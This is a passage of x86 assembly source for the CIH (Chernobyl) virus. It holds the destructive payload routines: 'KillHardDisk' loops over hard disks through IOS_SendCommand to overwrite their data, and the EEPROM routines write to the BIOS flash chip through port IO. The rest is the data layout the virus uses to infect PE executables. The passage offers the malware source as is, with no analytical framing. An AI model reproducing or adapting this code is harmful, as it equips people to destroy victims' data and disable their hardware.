; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************
									; or al,10h
			mov	word ptr (BooleanCalculateCode-@10)[esi], 100ch
			call	esi

; ***************************
; * Kill All HardDisk       *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs          *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
			xor	ebx, ebx
			mov	bh, FirstKillHardDiskNumber
			push	ebx
			sub	esp, 2ch
			push	0c0001000h
			mov	bh, 08h
			push	ebx
			push	ecx
			push	ecx
			push	ecx
			push	40000501h
			inc	ecx
			push	ecx
			push	ecx

			mov	esi, esp
			sub	esp, 0ach

LoopOfKillHardDisk:
			int	20h
			dd	00100004h	; VXDCall IOS_SendCommand

			cmp	word ptr [esi+06h], 0017h
			je	KillNextDataSection

ChangeNextHardDisk:
			inc	byte ptr [esi+4dh]

			jmp	LoopOfKillHardDisk

KillNextDataSection:
			add	dword ptr [esi+10h], ebx
			mov	byte ptr [esi+4dh], FirstKillHardDiskNumber

			jmp	LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write  *
; ***************************

EnableEEPROMToWrite:
			mov	[eax], cl
			mov	[ecx], al
			mov	byte ptr [eax], 80h
			mov	[eax], cl
			mov	[ecx], al

			ret

; ***************************
; * IO for EEPROM           *
; ***************************

IOForEEPROM:
@10			=	IOForEEPROM

			xchg	eax, edi
			xchg	edx, ebp
			out	dx, eax

			xchg	eax, edi
			xchg	edx, ebp
			in	al, dx

BooleanCalculateCode	=	$
			or	al, 44h

			xchg	eax, edi
			xchg	edx, ebp
			out	dx, eax

			xchg	eax, edi
			xchg	edx, ebp
			out	dx, al

			ret

; *********************************************************
; *			Static Data                       *
; *********************************************************

LastVxDCallAddress	=	IFSMgr_Ring0_FileIO
VxDCallAddressTable	db	00h
			db	IFSMgr_RemoveFileSystemApiHook-_PageAllocate
			db	UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
			db	IFSMgr_Ring0_FileIO-UniToBCSPath

VxDCallIDTable		dd	00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize	=	($-VxDCallIDTable)/04h

; *********************************************************
; *                Virus Version Copyright                *
; *********************************************************

VirusVersionCopyright	db	'CIH v'
			db	MajorVirusVersion+'0'
			db	'.'
			db	MinorVirusVersion+'0'
			db	' TTIT'

; *********************************************************
; *			Virus Size                        *
; *********************************************************

VirusSize			=	$
;				+ SizeOfVirusCodeSectionTableEndMark(04h)
;				+ NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;				+ SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *			Dynamic Data                      *
; *********************************************************

VirusGameDataStartAddress	=	VirusSize
@6				=	VirusGameDataStartAddress
OnBusy				db	0
FileModificationTime		dd	?

FileNameBuffer		db	FileNameBufferSize dup(?)
@7			=	FileNameBuffer

DataBuffer		=	$
@8			=	DataBuffer
NumberOfSections	dw	?
TimeDateStamp		dd	?
SymbolsPointer		dd	?
NumberOfSymbols		dd	?
SizeOfOptionalHeader	dw	?
_Characteristics	dw	?
Magic			dw	?
LinkerVersion		dw	?
SizeOfCode		dd	?
SizeOfInitializedData	dd	?
SizeOfUninitializedData	dd	?
AddressOfEntryPoint	dd	?
BaseOfCode		dd	?
BaseOfData		dd	?
ImageBase		dd	?
@9			=	$
SectionAlignment	dd	?
FileAlignment		dd	?
OperatingSystemVersion	dd	?
ImageVersion		dd	?
SubsystemVersion	dd	?
Reserved		dd	?
SizeOfImage		dd	?
SizeOfHeaders		dd	?
SizeOfImageHeaderToRead		=	$-NumberOfSections

NewAddressOfEntryPoint	=	DataBuffer	; DWORD
SizeOfImageHeaderToWrite	=	04h

StartOfSectionTable	=	@9
SectionName		=	StartOfSectionTable	; QWORD
VirtualSize		=	StartOfSectionTable+08h	; DWORD
VirtualAddress		=	StartOfSectionTable+0ch	; DWORD
SizeOfRawData		=	StartOfSectionTable+10h	; DWORD
PointerToRawData	=	StartOfSectionTable+14h	; DWORD
PointerToRelocations	=	StartOfSectionTable+18h	; DWORD
PointerToLineNumbers	=	StartOfSectionTable+1ch	; DWORD
NumberOfRelocations	=	StartOfSectionTable+20h	; WORD
NumberOfLinenNmbers	=	StartOfSectionTable+22h	; WORD
Characteristics		=	StartOfSectionTable+24h	; DWORD
SizeOfScetionTable	=	Characteristics+04h-SectionName

; *********************************************************
; *		Virus Total Need Memory                   *
; *********************************************************

VirusNeedBaseMemory	=	$

VirusTotalNeedMemory	=	@9
;				+ NumberOfSections(??)*SizeOfScetionTable(28h)
;				+ SizeOfVirusCodeSectionTableEndMark(04h)
;				+ NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;				+ SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *********************************************************

VirusGame               ENDS

                        END     FileHeader